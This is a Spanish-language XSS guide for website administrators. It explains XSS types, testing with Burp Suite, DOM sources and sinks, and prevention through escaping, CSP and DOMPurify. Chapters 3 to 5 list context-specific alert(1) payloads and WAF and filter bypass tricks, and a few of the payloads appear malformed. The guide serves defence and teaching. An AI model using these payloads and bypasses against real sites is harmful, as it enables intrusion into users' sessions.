

# Guía Práctica de Cross-Site Scripting (XSS)

## Guía de Identificación y Prevención de Cross-Site Scripting (XSS) para Administradores de Sitios Web

Por Jonathan Gomez

# Capítulo 1

## Fundamentos de Cross-Site Scripting (XSS)

### 1. ¿Qué es XSS y por qué es crítico?

**Cross-Site Scripting (XSS)** es una vulnerabilidad de seguridad que permite a un atacante inyectar código JavaScript malicioso en un sitio web. Este código se ejecuta en el navegador de la víctima, con todos los privilegios de la sesión activa.

#### 1.1. El Privilegio del Atacante

Cuando un XSS se ejecuta, el navegador considera que el código malicioso es parte legítima del sitio web. Esto significa que el atacante puede:

- **Leer** cualquier dato mostrado en la página (incluyendo información confidencial).
- **Capturar** datos introducidos en formularios (como credenciales de login).
- **Acceder** a localStorage, sessionStorage y cookies.
- **Realizar acciones** en nombre del usuario autenticado (ej: cambiar email, contraseña, transferir fondos).
- **Modificar** el contenido del sitio para engañar al usuario (phishing).
- **Redirigir** a páginas de phishing o malware.

**Analogía:** Es como si un ladrón pudiera ponerse el uniforme de un empleado de un banco y caminar libremente por las oficinas, usando las credenciales del empleado para abrir cajas fuertes.

## Capítulo 2.

### Clasificación de los Tipos de XSS

Es crucial entender los tres tipos principales, ya que su detección y prevención difieren.

#### 2.1. XSS Reflejado (Reflected XSS)

- **Flujo:** El payload malicioso se envía **en la URL** (o en una petición), el servidor lo refleja en la respuesta HTML y el navegador lo ejecuta.
- **Detección:** Busca en la URL. Es la más común en parámetros de búsqueda o errores.
- **Ejemplo:** `https://sitio.com/search?q=<script>alert(1)</script>`

#### 2.2. XSS Almacenado (Stored XSS)

- **Flujo:** El payload se **almacena en el servidor** (ej: en una base de datos, en un foro, comentario, perfil de usuario). Cada usuario que visite la página afectada ejecutará el código.
- **Detección:** Busca en campos que se guardan y se muestran a otros usuarios (comentarios, nombres de perfil, mensajes).
- **Ejemplo:** Un comentario en un blog que contiene `<script>alert(1)</script>`.

#### 2.3. XSS Basado en el DOM (DOM-based XSS)

- **Flujo:** El código malicioso **nunca viaja al servidor**. Se inyecta y ejecuta completamente en el navegador, a través de JavaScript del lado del cliente que modifica el DOM.

- **Detección:** La más difícil. No se ve en la respuesta del servidor. Requiere inspeccionar el código JavaScript y cómo maneja las fuentes (URL, hash, referrer).
- **Ejemplo:** `https://sitio.com/#<img src=x onerror=alert(1)>` que es leído por `document.write(location.hash)`.
- **Tabla Comparativa:**

| Característica                            | Reflejado           | Almacenado                  | DOM-based      |
|-------------------------------------------|---------------------|-----------------------------|----------------|
| El payload viaja al servidor              | Sí                  | Sí                          | No             |
| Se almacena en el servidor                | No                  | Sí                          | No             |
| Se ve en el código fuente de la respuesta | Sí                  | Sí                          | No             |
| Requiere interacción con la víctima       | Sí (clic en enlace) | No (solo visitar la página) | Sí (en la URL) |
| Detección                                 | Moderada            | Fácil                       | Difícil        |

---

## Capítulo 3.

### Metodología de Identificación (Paso a Paso)

#### 3.1. Fase 1: Mapeo de Superficie de Ataque

Como administrador, considera que **todo dato que el cliente puede controlar es un posible punto de entrada**. Usa **Burp Suite** para interceptar y modificar todas las peticiones.

**Lista de puntos de entrada a probar:**

- **Parámetros GET** (URL).
- **Parámetros POST** (formularios y peticiones AJAX).
- **Cookies** (especialmente las de seguimiento y sesión).
- **Cabeceras HTTP** (User-Agent, Referer, Origin, X-Forwarded-For).
- **Cuerpo JSON o XML**.
- **El fragmento de la URL** (`location.hash`).

- **WebSockets.**

## 3.2. Fase 2: Pruebas de Inyección (El "Cazador de Bugs")

**Prueba de Concepto (PoC):** El objetivo inicial es demostrar la ejecución de código. Usa payloads simples que generen un alert().

### **Payloads básicos:**

html

`<script>alert(1)</script>`

`<img src=x onerror=alert(1)>`

`<svg onload=alert(1)>`

### **1. Observa la respuesta:**

- **¿El código se ejecuta?** → Has encontrado un XSS.
- **¿El código se muestra como texto?** → Los caracteres < > o " están siendo escapados (HTML-encoded). Debes probar otros contextos.
- **¿El código es bloqueado?** → Hay un WAF o un filtro. Prueba técnicas de bypass.

### **2. Prueba en diferentes contextos:** El payload que funciona en un contexto (ej: dentro de un tag <p>) no funcionará en otro (ej: dentro de un atributo onclick).

**Tabla de Contextos y Payloads:**

| Contexto                           | Payload de prueba                                       | Observación                                      |
|------------------------------------|---------------------------------------------------------|--------------------------------------------------|
| HTML (entre tags)                  | <code>&lt;script&gt;alert(1)&lt;/script&gt;</code>      | El clásico.                                      |
| Atributo de HTML (ej: value)       | <code>"onmouseover="alert(1)"</code>                    | Cierra el atributo y crea uno nuevo.             |
| Dentro de un tag <script> (cadena) | <code>'; alert(1); //</code>                            | Cierra la cadena y ejecuta código.               |
| Atributo de evento (ej: onclick)   | <code>http://foo?&amp;apos;-alert(1)-&amp;apos;;</code> | Usa entidades HTML (&apos;) para saltar escapes. |
| DOM (location.search)              | <code>jgh\" onload=\"alert()\"</code>                   | Injecta en un atributo onload.                   |

### 3.3. Fase 3: Identificación de "Fuentes" y "Sumideros" (DOM XSS)

Para XSS basado en DOM, la metodología es diferente. No buscas en la respuesta del servidor, sino en el código JavaScript del lado del cliente.

#### 1. Fuentes (Sources): ¿De dónde puede venir el dato controlado por el usuario?

- `document.URL`
- `document.documentURI`
- `document.location`
- `location`
- `location.href`
- `location.search` (lo que viene después del ?)
- `location.hash` (lo que viene después del #)
- `document.referrer`
- `window.name`

## 2. Sumideros (Sinks): ¿Dónde puede terminar ese dato sin sanitizar?

- `eval()` (**¡El más peligroso!**)
- `new Function()`
- `setTimeout(string), setInterval(string)`
- `innerHTML, outerHTML`
- `document.write(), document.writeln()`
- `insertAdjacentHTML()`
- `$()` (jQuery) como selector

## 3. Preguntas que debe hacerse al revisar el código:

1. **¿Hay alguna fuente?** (¿`location.search`, `location.hash` se usan en alguna parte?)
2. **¿Esa fuente viaja a un sumidero peligroso?** (¿Se pasa a `eval()`, `innerHTML`, `$()`?)
3. **¿Puedo controlar el valor de esa fuente?** (¿Modificando la URL?)
4. **¿Puedo "romper" la sintaxis para inyectar mi código?** (¿Agregando comillas, cerrar paréntesis?)

## Ejemplo de código vulnerable:

javascript

```
var search = location.search.slice(1); // Toma el valor de '?search=...'
```

```
document.write("Resultados de búsqueda: " + search); // Sink peligroso
```

---

## Capítulo 4.

### Contextos y Payloads Comunes

Lista de payloads probados en laboratorios reales, organizados por contexto.

#### 4.1. Contexto HTML (entre tags)

| Payload                                                    | Descripción           |
|------------------------------------------------------------|-----------------------|
| <code>&lt;script&gt;alert(1)&lt;/script&gt;</code>         | El clásico.           |
| <code>&lt;img src=x onerror=alert(1)&gt;</code>            | Muy fiable.           |
| <code>&lt;svg onload=alert(1)&gt;</code>                   | Alternativa.          |
| <code>&lt;body onload=alert(1)&gt;</code>                  | Disparador al cargar. |
| <code>&lt;details open ontoggle=alert(1)&gt;</code>        | Disparador al abrir.  |
| <code>&lt;custom-tag onmouseover=alert("alert")&gt;</code> | Tags personalizados.  |

#### 4.2. Contexto de Atributo HTML

| Payload                                        | Descripción                                      |
|------------------------------------------------|--------------------------------------------------|
| <code>" onmouseover="alert(1)"</code>          | Cierra el atributo y crea uno nuevo.             |
| <code>" onfocus="alert(1)" autofocus</code>    | Disparador al enfocar.                           |
| <code>' accesskey='x' onclick='alert(1)</code> | Usa accesskey para ejecutar al pulsar una tecla. |
| <code>&lt;h1&gt; &lt;/h1&gt;</code>            | Injecta tags completos si se permite.            |

### 4.3. Contexto JavaScript (dentro de <script>)

| Payload                                                                                                                                                  | Descripción                               |
|----------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------|
| <code>'; alert(1); //</code>                                                                                                                             | Cierra cadena y ejecuta.                  |
| <code>\'; alert(1); //</code>                                                                                                                            | Escapa la barra invertida.                |
| <code>\\'-alert(1)//</code>                                                                                                                              | Bypass de escapes de backslash y comilla. |
| <code>&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code>                                                                                        | Cierra el tag <script> y abre uno nuevo.  |
| <code>-alert(1)-</code>                                                                                                                                  | En un contexto matemático.                |
| <code>\${alert(1)}</code>                                                                                                                                | En template strings (ES6).                |
| <code>1&amp;toString().constructor.prototype.charAt=[];<br/>[1]]orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1</code> | Payload para XSS en AngularJS.            |

### 4.4. Contexto de jQuery Selector (\$())

| Payload                                         | Descripción                          |
|-------------------------------------------------|--------------------------------------|
| <code>javascript:alert(1)</code>                | En un href.                          |
| <code>&lt;img src=x onerror=alert(1)&gt;</code> | Si el selector acepta HTML.          |
| <code>'-alert('JONATHAN')'-'</code>             | En un selector de jQuery vulnerable. |

## 4.5. Bypass de Filtros Comunes

| Payload                                                                        | Para evadir...                |
|--------------------------------------------------------------------------------|-------------------------------|
| <code>&lt;img src=1 onerror=alert(1)&gt;</code>                                | Bloqueo de <script>.          |
| <code>&lt;svg onload=alert(1)&gt;</code>                                       | Bloqueo de img y script.      |
| <code>&lt;custom-tag onmouseover='alert("alert")&gt;</code>                    | Filtros de tags conocidos.    |
| <code>%3Cscript%3Ealert(1)%3C/script%3E</code>                                 | Codificación URL en la URL.   |
| <code>\x3cscript\x3ealert(1)\x3c/script\x3e</code>                             | Codificación hexadecimal.     |
| <code>&lt;img src=x onerror=alert(1)&gt;</code> con <i>onerror</i> codificado. | WAF que busca palabras clave. |

## Capítulo 5.

### Técnicas Avanzadas para Bypassear Filtros

Cuando un WAF o un filtro bloquea los payloads comunes, los atacantes usan técnicas como estas:

#### 5.1. Codificación y Ofuscación

- **URL Encode:** `%3Cscript%3Ealert(1)%3C/script%3E`
- **HTML Encode (para dentro de atributos):** `&lt;script&gt;alert(1)&lt;/script&gt;`
- **Hex Encode:** `\x3cscript\x3ealert(1)\x3c/script\x3e`
- **Unicode:** `\u003cscript\u003ealert(1)\u003c/script\u003e`
- **Base64 (con atob):** `eval(atob('YWxlc nQoMSk='))`

#### 5.2. Uso de Eventos y Tags Alternativos

- **Tags:** `<svg>`, `<math>`, `<details>`, `<custom-tag>`
- **Eventos:** `onload`, `onerror`, `onmouseover`, `onfocus`, `onclick`, `ontoggle`, `onresize`

#### 5.3. Explotación de Contextos de JavaScript

- **En cadena:** `'-alert(1)-'`
- **Con barra invertida:** `\\'-alert(1)//`
- **Cerrando script:** `</script><script>alert(1)</script>`
- **Template literals:** `${alert(1)}`

#### 5.4. Bypass de WAF con Comentarios y Tabs

- **Comentarios:** `<s!->cript>alert(1)</s!->cript>`
  - **Tabs y saltos de línea:** `<img src=x onerror= alert(1)>`
-

## Capítulo 6.

### Guía de Prevención (Lo que hay que hacer en el código)

La prevención de XSS se basa en el principio de **sanitizar y escapar siempre los datos del usuario en el contexto adecuado**.

#### 6.1. Para XSS Reflejado y Almacenado (Lado del Servidor)

1. **Usa Contextual Escaping:** Escapa los datos según el contexto HTML en el que se van a insertar.
  - **HTML Body:** `htmlspecialchars($data, ENT_QUOTES, 'UTF-8');`
  - **Atributo HTML:** Escapa comillas dobles (") y simples (').
  - **JavaScript:** Escapa comillas y caracteres de control.
  - **CSS:** Escapa caracteres especiales.
  - **URL:** Usa `urlencode()`.
2. **Política de Seguridad de Contenido (CSP):** Implementa una CSP estricta para limitar las fuentes de donde se puede cargar JavaScript. Ejemplo:

text

Content-Security-Policy: script-src 'self'

3. **Sanitización de Entradas:** Si necesitas permitir HTML (ej: en un editor WYSIWYG), usa una librería de sanitización como **DOMPurify** que elimina el HTML peligroso.

## 6.2. Para XSS Basado en DOM (Lado del Cliente)

La prevención aquí es más compleja porque el servidor no puede controlar el código JavaScript del lado del cliente.

1. **Evita usar `document.write`, `eval`, `innerHTML` con datos no confiables.** Prefiere métodos seguros como `textContent`.
2. **Sanitiza y valida las fuentes** (como `location.hash`) antes de usarlas en un sumidero.
3. **Usa librerías seguras como `DOMPurify`** en el cliente para limpiar datos antes de insertarlos en el DOM.
4. **Implementa una fuerte Política de Seguridad de Contenido (CSP)** que restrinja `eval()` y `unsafe-inline`.

### Recomendación de código seguro:

javascript

// VULNERABLE

```
document.write("<div>" + location.hash + "</div>");
```

// SEGURO (usando `textContent`)

```
var div = document.createElement('div');
```

```
div.textContent = location.hash;
```

```
document.body.appendChild(div);
```

// SEGURO (usando sanitización)

```
div.innerHTML = DOMPurify.sanitize(location.hash);
```

---

## Capítulo 7.

### Herramientas y Recursos

#### 7.1. Herramientas Imprescindibles

| Herramienta                              | Uso en la identificación de XSS                                 |
|------------------------------------------|-----------------------------------------------------------------|
| <b>Burp Suite (Repeater, Intruder)</b>   | Para interceptar, modificar y automatizar pruebas de inyección. |
| <b>Navegador (Consola y Debugger)</b>    | Para inspeccionar el DOM, probar código JavaScript y depurar.   |
| <b>Extensiones (XSS Hunter, HackBar)</b> | Ayudan a probar payloads de forma rápida.                       |
| <b>DOMPurify</b>                         | Para sanitizar contenido en el lado del cliente.                |

#### 7.2. Lista de Verificación para Administradores

1. **Instalar y configurar un WAF** (Web Application Firewall) con reglas para XSS.
2. **Auditar el código JavaScript** para encontrar fuentes y sumideros peligrosos (especialmente eval, document.write, innerHTML).
3. **Habilitar CSP** con una política estricta.
4. **Realizar pruebas de penetración periódicas** (al menos una vez al año).
5. **Capacitar a los desarrolladores** sobre las técnicas seguras de codificación.

## 7.3. Recursos Adicionales

- **OWASP XSS Prevention Cheat Sheet:** [https://cheatsheetseries.owasp.org/cheatsheets/Cross\\_Site\\_Scripting\\_Prevention\\_Cheat\\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
  - **PortSwigger Web Security Academy:** <https://portswigger.net/web-security/cross-site-scripting>
  - **CSP Evaluator:** Para probar tu política de CSP.
- 

## Conclusión Final

XSS es una vulnerabilidad crítica que puede comprometer completamente la seguridad de un sitio web y la privacidad de sus usuarios. La clave para un administrador es:

1. **Entender los flujos de datos** de su aplicación.
2. **Adoptar una mentalidad de "nunca confiar"** en los datos del usuario.
3. **Aplicar capas de defensa:** Escapado contextual + CSP + Sanitización.
4. **Monitorear y auditar** continuamente.

Este documento es un punto de partida. La seguridad web es un campo en constante evolución, por lo que la formación continua y las pruebas periódicas son esenciales.